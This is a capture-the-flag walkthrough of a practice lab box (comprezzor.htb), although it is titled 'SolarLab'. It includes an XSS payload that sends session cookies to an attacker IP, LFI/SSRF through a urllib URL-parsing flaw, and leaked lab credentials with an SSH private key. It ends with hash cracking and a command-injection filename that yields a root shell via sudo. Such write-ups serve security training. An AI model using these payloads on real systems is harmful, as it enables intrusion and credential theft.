SolarLab
SolarLab - Medium Windows Box - Season 5 Anomalies.
whatweb 10.129.156.6
comprezzor.htb
.ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "Host: FUZZ.comprezzor.htb" -fs 178
Subdomains:
report.comprezzor.htb
auth.comprezzor.htb
dashboard.comprezzor.htb
Directories: Nothing of importance on main domain
/login on auth.comprezzor.htb
subdomain
/backup and /resolve on dashboard.comprezzor.htb
subdomain
There’s a report bug feature. Its about the only thing you can do on the main page.
Clicking report bug button takes you to another page where you can create an account to report a bug.
report a bug
. The report bug submission form is located at `http://report.comprezzor.htb/report_bug`.XSS
. Cookie:
user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogIkZyb2dnaWUiLCAicm9sZSI6ICJ1c2VyIn18OGY3YjI3OWQwZjk2MDEyMWFjMTc2M2Q0YzNiMjU2NTk4MGQzYzI3ODk5YmZlMzU3MjM4ZGMxYjY2ZTJhYzJiMg==
XSS
payload to see if we can steal any cookies from the server.Cookie Theft:
<script>var i=new Image(); i.src="http://10.10.14.200:34000/?cookie="+btoa(document.cookie);</script>
Setup a python server to listen for the reply to come from the server.
python3 -m http.server 34000
After waiting for the server to process the request we actually get a hit on the cookies.
10.129.156.6 - - [06/Sep/2024 06:51:50] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1" 200
echo 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA==' | base64 -d
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
http://auth.comprezzor.htb/login
.storage
tab.XSS
attack.Key : Value
pair lets insert our cookie.
user_data
eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
F5
or hitting the reload button. NOTICE: You may have issues here. If you have issues with it triggering correctly please set your cookie to this.
* Name: user_data
* Value: eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
* Domain: .comprezzor.htb
* Path: /
Then manually travel to `http://dashboard.comprezzor.htb`. Setting it to this covers the whole domain. Im not sure why it doesn’t redirect sometimes but this should work also.
We land on a dashboard page as user webdev
:
webdev
cookie still in your browser you will get a ticket from adam
. This will not work, you will need to capture a request or use the same request you had for capturing the cookie that uses your new user account
to submit the ticket.admin
. So if we can escalate the priority of our ticket maybe we can capture the admin
cookie in the same manner as before. NOTICE: I had to disable dark reader
it was messing up the UI and I couldn’t see my ticket. So if you have a dark mode enabled you may want to disable it.
Also, there is a script to remove tickets and set it back to a default state. So you need to be relatively quick in your exploiting or your ticket will disappear.
XSS payload
is in the Report Title
of the ticket. So the admin reads it when it gets sent over.I actually had to change my payload. The one i was using wasn’t allowing the set high priority
to show up in the ticket. Such odd behavior.
Use this payload <img src=x onerror="fetch("http://10.10.14.200"34000/)">
. Put this as your ReportTitle
but leave the earlier cookie payload in the description.
If you’re not getting the admin cookie reset your box. Sometimes it gets broke from to many tickets being sent.
Your request should look like this.
POST /report_bug HTTP/1.1
Host: report.comprezzor.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://report.comprezzor.htb/report_bug
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
Origin: http://report.comprezzor.htb
DNT: 1
Connection: close
Cookie: user_data=eyJ1c2VyX2lkIjogNiwgInVzZXJuYW1lIjogIkZyb2dnaWUiLCAicm9sZSI6ICJ1c2VyIn18OGY3YjI3OWQwZjk2MDEyMWFjMTc2M2Q0YzNiMjU2NTk4MGQzYzI3ODk5YmZlMzU3MjM4ZGMxYjY2ZTJhYzJiMg==
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
report_title=<img+src%3dx+onerror%3d"fetch("http%3a//10.10.14.200"34000/)">&description=<script>var+i%3dnew+Image()%3b+i.src%3d"http%3a//10.10.14.200%3a34000/%3fcookie%3d"%2bbtoa(document.cookie)%3b</script>
admin cookie
.10.129.30.32 - - [06/Sep/2024 08:51:34] "GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1" 200 -
webdev
again because we have the server waiting, but once you change to high priority you should get the second response with the admin cookie
.echo 'dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ==' | base64 -d
Admin Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Once in the admin dashboard you have a link to Create PDF Report
.
Make a PDF Report
. Lets just see what gets sent to a NC Listener
and if anything responds.unexpected error!
On the PDF report..BUT! On our NC listener
we get some interesting information.listening on [any] 34000 ...
connect to [10.10.14.200] from (UNKNOWN) [10.129.30.32] 41434
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.14.200:34000
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
Python-urlib/3.11
. We can use this to look for vulnerabilities and CVE’s related to this tool.urlib 3.11
.The CVE essentially works by allowing users to bypass blocklists with simply injecting a blank space before the url in our request. This can allow use to perform different types of attacks like LFI, SSRF and even command execution because we are bypassing any filters put into place on the domain.
Create PDF
tool we just used to get the previous information.report_Url=PAYLOAD
input to try some simple LFI
.response
in your browser, if using burp just right click and “Open in browser”, and we will see the PDF was generated with the LFI
included.LFI
to ` file:///app/code/app.py`. Don’t forget the empty space before file
. That’s the whole exploit.secret key
inside the code of the app.app.secret_key = "7ASS7ADA8RF3FD7"
but im not sure its useful at the moment.We can also see all the IMPORTS
the app is making. We can go check these out and see if we can find anymore information thats being pulled into the app via other imports.
chatgpt
to make it more human readable we get:Imports
with our LFI
..py
script at the end of the import.report.py
script. Running it through chatgpt
again for readability.Theres nothing to interesting here, just some routes
and logic.
Lets check `file:///app/code/blueprints/dashboard/dashboard.py`
chatgpt
for readability.In the dashboard.py
script there appears to be a FTP backup
method put into place that is backing up the application.
They stored the login directly in the app.
user: ftp_admin
password: u3jai8y71s2
We can abuse our CVE
vulnerability and use SSRF
to try to connect to the FTP server locally and receive the information back in the PDF.
Set your Exploit in your request to `ftp://ftp_admin:u3jai8y71s2@ftp.local`. This will connect locally and the response will be sent back in the pdf.
-rw------- 1 root root 2,655 Sep 06 14:50 private-8297.key
-rw-r--r-- 1 root root 15,519 Sep 06 14:50 welcome_note.pdf
-rw-r--r-- 1 root root 1,732 Sep 06 14:50 welcome_note.txt
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.pdf
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
Dear Devs, We are thrilled to extend a warm welcome to you as you embark on this exciting journey with us. Your arrival marks the beginning of an inspiring chapter in our collective pursuit of excellence, and we are genuinely delighted to have you on board. Here, we value talent, innovation, and teamwork, and your presence here reaffirms our commitment to nurturing a diverse and dynamic workforce. Your skills, experience, and unique perspectives are invaluable assets that will contribute significantly to our continued growth and success. As you settle into your new role, please know that you have our unwavering support. Our team is here to guide and assist you every step of the way, ensuring that you have the resources and knowledge necessary to thrive in your position. To facilitate your work and access to our systems, we have attached an SSH private key to this email. You can use the following passphrase to access it: `Y27SH19HDIWD`. Please ensure the utmost confidentiality and security when using this key. If you have any questions or require assistance with server access or any other aspect of your work, please do not hesitate to reach out. In addition to your technical skills, we encourage you to bring your passion, creativity, and innovative thinking to the table. Your contributions will play a vital role in shaping the future of our projects and products. Once again, welcome to your new family. We look forward to getting to know you, collaborating with you, and witnessing your exceptional contributions. Together, we will continue to achieve great things. If you have any questions or need further information, please feel free to contact me at adam@comprezzor.htb. Best regards, Adam
The welcome text contained a access password to go along with the SSH Private Key
.
Y27SH19HDIWD
Encrypted Private Key:
-----BEGIN OPENSSH PRIVATE KEY-----
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
XxwXArPr6+HQe9hZSjI2hjYC2OU=
-----END OPENSSH PRIVATE KEY-----
SSH-KEYGEN
to generate a key to SSH into the machine for our true foothold.id_rsaIntuition
.ssh-keygen -p -f id_rsaIntuition
dev_acc@local
- A note is left on the key that mentions dev_acc@local
.chmod 600
on id_rsa
to change file permissions for use in ssh.ssh -i id_rsa dev_acc@comprezzor.htb
.py
files are located that we where abusing for lfi
earlier..db
located under `/var/www/app/blueprints/auth` that looks like its dedicated to the users.users.db
users.db
file and we find some hashes.tablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�3�EtableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
role TEXT DEFAULT 'user'
=adamsha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43webdevh�=adminsha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606admin
sqlite
is installed on the box lets open the users.db
.sqlite users.db
Select * from users;
admin
and adam
.1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
Dumping adams
hash we can crack it with hashcat.
hashcat -m 1460 -a 0 hash1 /usr/share/wordlists/rockyou.txt
a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:Z7bcBO9P43gvdQWp:adam gray
We can connect to FTP
with our foothold on the machine using adam : adam gray
account/creds.
runner1
.get
all three files from the ftp server.
Catting out the run-tests.sh
script we see that it appears to be a script that runs an ansible playbook
to install roles.
#!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
This will probably be our attack path. But right now with dev_acc
Im not seeing any possible way to exploit this at the moment.
Catting out runner1.c
or Reverse Engineering the runner
app with ghidra we can see that there is a check_auth
function crafted in the app which checks the provided auth_key
from the script to ensure the hashes match before running the playbook.
Valid Hash: 0feda17076d793c2ef2870d7427ad4ed
Knowing the required hash
value and having half of the auth_key="UHI75GHI****"
we can attempt to brute-force out the password.
Running this script generates the full auth_key
for us.
UHI75GHINKOP
You can also achieve this same technique with hashcat
.
hashcat -a 3 -m 0 -1 ?u?d 0feda17076d793c2ef2870d7427ad4ed UHI75GHI?1?1?1?1
.gz
compressed log files.Suricata
is a threat detection and Analysis system that monitors network activity. Any network activity will have been logged into these files..gz
logs and see if we can find any interesting information.zgrep -i password /var/log/suricata/*.gz
to search .gz filespassword
. But maybe theres a way to cut most of this out.Checking /home
we have a user named lopez
that has logged into this machine. Lets change our grep to look for lopez
.
zgrep -i lopez /var/log/suricata/*.gz
dev_acc@intuition:/var/log/suricata$ zgrep -i lopez /var/log/suricata/*.gz
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:43:52.999165+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"PASS","command_data":"Lopezzz1992%123","completion_code":["530"],"reply":["Authentication failed."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
lopez
password was recorded in plain text.Lopezz1992%123
sudo -l
for lopez
we see that they can run the app runner2
with escalated permissions.Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
lopez
is also apart of sys-adm
group.id lopez
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)
Looking for a CVE
related to ansible roles we find a relatively recent CVE exploiting path traversal within a playbook that allows us to change the symlink to overwrite a file outside the extraction path.
https://nvd.nist.gov/vuln/detail/CVE-2023-5115
https://security.snyk.io/vuln/SNYK-PYTHON-ANSIBLE-5917149
Basically we need to create a role with the path/cmd
we want to exploit in the role and also the NAME of the .tar
file we are using to exploit the role in the role_file
key of ansible script.
Another note to make is that ansible-galaxy
will check for valid compression before loading the file so we must use a known valid format to craft our payload.
Sys admins Role
playbook we can take advantage of.ansible structured json file
.nano root.json
action
to take when running the playbook. install
which will install the role.admin.tar.gz;bash
- This will give us a root bash shell when ran.auth_code
we found earlier in the ``{
"run":{
"action":"install",
"role_file":"admin.tar;bash"
},
"auth_code":"UHI75GHINKOP"
}
.tar
file from the github archive.wget https://github.com/coopdevs/ansible-role-template/archive/refs/tags/v1.0.0.tar.gz
role_file
path name.
mv v0.0.3.tar admin.tar.gz
.tar
file.gunzip -d admin.tar.gz
lopez
home directory.
scp admin.tar lopez@comprezzor.htb:/home/lopez/
scp root.json lopez@comprezzor.htb:/home/lopez/
json
to get the command injection.
cp admin.tar "admin.tar;bash"
root.json
playbook to get our root bash shell
sudo /opt/runner2/runner2 root.json
We have direct access to a shell with root access in the management console.
cat /root/root.txt